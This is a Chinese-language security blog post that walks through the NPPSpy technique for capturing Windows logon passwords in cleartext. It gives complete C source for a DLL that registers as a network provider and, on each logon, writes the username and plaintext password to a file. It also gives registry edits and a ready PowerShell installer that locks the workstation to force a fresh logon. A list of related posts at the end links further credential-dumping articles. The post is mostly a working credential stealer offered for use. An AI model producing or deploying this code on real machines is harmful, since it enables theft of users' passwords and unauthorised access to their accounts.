利用系统函数获取Windows明文密码
0x01 前言
前段时间,根据大佬Grzegorz Tworek发布的 :使用LanMan版本的NPLogonNotify()函数来嗅探用于登录Windows的每个密码。明文。无需重新启动。今天过来研究一波,同时借鉴 来自鸿鹄 ly大佬写的集成powershell调用,来进一步方便利用。
0x02 原理
通过修改注册表,借助系统函数,抓取Windows明文密码
0x03 复现
然后将下列代码编译为dll文件:
NPPSPy.c 源代码
#include <Windows.h>// from npapi.h
#define WNNC_SPEC_VERSION 0x00000001
#define WNNC_SPEC_VERSION51 0x00050001
#define WNNC_NET_TYPE 0x00000002
#define WNNC_START 0x0000000C
#define WNNC_WAIT_FOR_START 0x00000001//from ntdef.h
typedef struct _UNICODE_STRING
{USHORT Length;USHORT MaximumLength;PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{MsV1_0InteractiveLogon = 2,MsV1_0Lm20Logon,MsV1_0NetworkLogon,MsV1_0SubAuthLogon,MsV1_0WorkstationUnlockLogon = 7,MsV1_0S4ULogon = 12,MsV1_0VirtualLogon = 82,MsV1_0NoElevationLogon = 83,MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{MSV1_0_LOGON_SUBMIT_TYPE MessageType;UNICODE_STRING LogonDomainName;UNICODE_STRING UserName;UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{HANDLE hFile;DWORD dwWritten;hFile = CreateFile(TEXT("C:\\NPPSpy.txt"),GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if (hFile != INVALID_HANDLE_VALUE){SetFilePointer(hFile, 0, NULL, FILE_END);WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);WriteFile(hFile, L" -> ", 8, &dwWritten, 0);WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);CloseHandle(hFile);}
}__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(DWORD nIndex
)
{switch (nIndex){case WNNC_SPEC_VERSION:return WNNC_SPEC_VERSION51;case WNNC_NET_TYPE:return WNNC_CRED_MANAGER;case WNNC_START:return WNNC_WAIT_FOR_START;default:return 0;}
}__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(PLUID lpLogonId,LPCWSTR lpAuthInfoType,LPVOID lpAuthInfo,LPCWSTR lpPrevAuthInfoType,LPVOID lpPrevAuthInfo,LPWSTR lpStationName,LPVOID StationHandle,LPWSTR* lpLogonScript
)
{SavePassword(&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password));lpLogonScript = NULL;return WN_SUCCESS;
}
通过修改注册表,来实现读取密码效果
- 将NPPSpy.dll复制到System32文件夹
- 添加
"NPPSpy"
在结束"ProviderOrder"
在HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
- 创建
HKLM\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
并设置以下值:"Class" = [REG_DWORD]2
"ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\NPPSPY.dll"
"Name" = [REG_SZ]"NPPSpy"
通过Powershell脚本进行调用,实现修改注册表的功能
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValueNew-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dl
将编译好的NPPSpy.dll复制到System32文件夹
运行ps1脚本:
然后 模拟用户注销、重新的登录,抓取到明文密码
为了方便,直接加入锁屏功能,一键修改注册表+锁屏:
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValueNew-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll"Function Lock-WorkStation {$signature = @"[DllImport("user32.dll", SetLastError = true)]public static extern bool LockWorkStation();"@$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru$LockWorkStation::LockWorkStation() | Out-Null}Lock-WorkStation
0x04 参考链接
- https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify
- https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
转载请注明:Adminxe's Blog » 利用系统函数获取Windows明文密码
利用系统函数获取Windows明文密码相关推荐
- 利用kali暴力破解获取windows账号密码
利用kali暴力破解获取windows账号密码 步骤一:打开图形化软件hydra-gk 步骤二:设置目标系统地址 步骤三:选择用户名和密码 步骤四:设置任务编号和超时时间 步骤五:检查配置,然后选择s ...
- 【问题记录】防止mimikatz获取到明文密码
1. 打补丁KB2871997 2. 禁用Wdigest Auth 3. 删除用户凭证 搭靶机的时候想弄个通过哈希传递攻击的机器,但是上传mimikatz之后发现可以直接抓取到明文密码.主要是wdig ...
- Win7如何利用系统放大镜工具更改用户密码
Win7如何利用系统放大镜工具更改用户密码 工具:win7原始光盘或镜像 放大镜工具magnify.exe cmd.exe 1. 首先,打开计算机电源,到系统登录界面 2. ...
- 内网渗透之mimikatz+procdump 提取 Windows 明文密码
0x00 原理 获取到内存文件 lsass.exe 进程 (它用于本地安全和登陆策略) 中存储的明文登录密码. 0x01 操作 Windows10/2012 以下的版本: 1.上传 procdump ...
- c语言读取文件字节数,怎么在C语言中利用fstat函数获取文件的大小
怎么在C语言中利用fstat函数获取文件的大小 发布时间:2021-01-22 17:03:17 来源:亿速云 阅读:110 作者:Leah 怎么在C语言中利用fstat函数获取文件的大小?针对这个问 ...
- 遍历图像 找最小外接矩形 matlab,2018a版本MatLab利用regionprops函数获取图片中物体轮廓最小外接矩形...
2018a版本MatLab利用regionprops函数获取图片中物体最小外接矩形 本次内容,用于介绍利用matlab中的regionprops函数来获取图像区域中的物体的最小外接矩形信息(位置(x, ...
- mimakatz用法_两步完成利用procdump64+mimikatz获取win用户密码
使用procdump64+mimikatz可实现从内存中获取明文密码 工具 链接:https://pan.baidu.com/s/1gNc9qLcNSNBohIVrAiqShw 密码:fc38 首先得 ...
- 微信小程序利用云函数获取小程序码(二维码) 将buffer流转换为图片
最近在做毕设,有一个获取小程序码绘制分享海报的需求,因为需要小程序码的数量较多的业务场景,所以只能采用后端生成返回给前端调用或者云开发调用. 生成小程序码的两种方式 HTTPS调用 需要后端生成返回给 ...
- 利用Procdump+Mimikatz获取Windows帐户密码
0x01 前言: 前段时间拿下一个网站的shell,很幸运的是直接就是System权限,结果发现执行添加用户命令并不能成功回显 看了下系统进程,原来是开启了360的主动防御,奈何也不会做免杀,上传ex ...
- C++通过系统版本号获取windows系统版本
主要用到的windowsAPI为GetVersion()函数 代码 #define WIN10_VERSION 1 #define WIN7_VERSION 2//获取当前系统版本 DWORD get ...
最新文章
- 2022-2028年中国铪行业市场研究及前瞻分析报告
- centos7安装mariadb
- 三层代码讲解--第一课
- OSChina 周一乱弹 ——渴望咪咪还是渴望力量,都能给你
- Fluid 0.4 新版本正式发布
- 开源的pop3和smtp组件(支持中文及SSL)
- Chrome View Source Code 那些事
- React 第九章 表单的使用
- python 时间模块 time datetime calendar
- 点击微信网页的a标签直接跳转到淘宝APP打开怎么实现的?附:动图演示效果
- 二叉树递归非递归遍历,层次遍历,反转,输出路径等常见操作详细总结
- javaScript五种继承方式
- 在线SEO外链工具源代码
- Pspice仿真实验-RC滤波器电路
- 计算机键盘不能用怎么办,电脑键盘空格键失灵无法使用怎么办|电脑键盘空格键失灵的解决方法...
- 文件或目录损坏且无法读取怎么删除文件或目录
- 12.	Zigbee应用程序框架开发指南 - 调试打印接口
- html 毛笔书写效果,canvas 手写毛笔字效果
- 卡西欧 991CN X 计算器 简单使用方法
- 测量耐力也有算法了!仅需锻炼20分钟,就能知晓自己能跑多久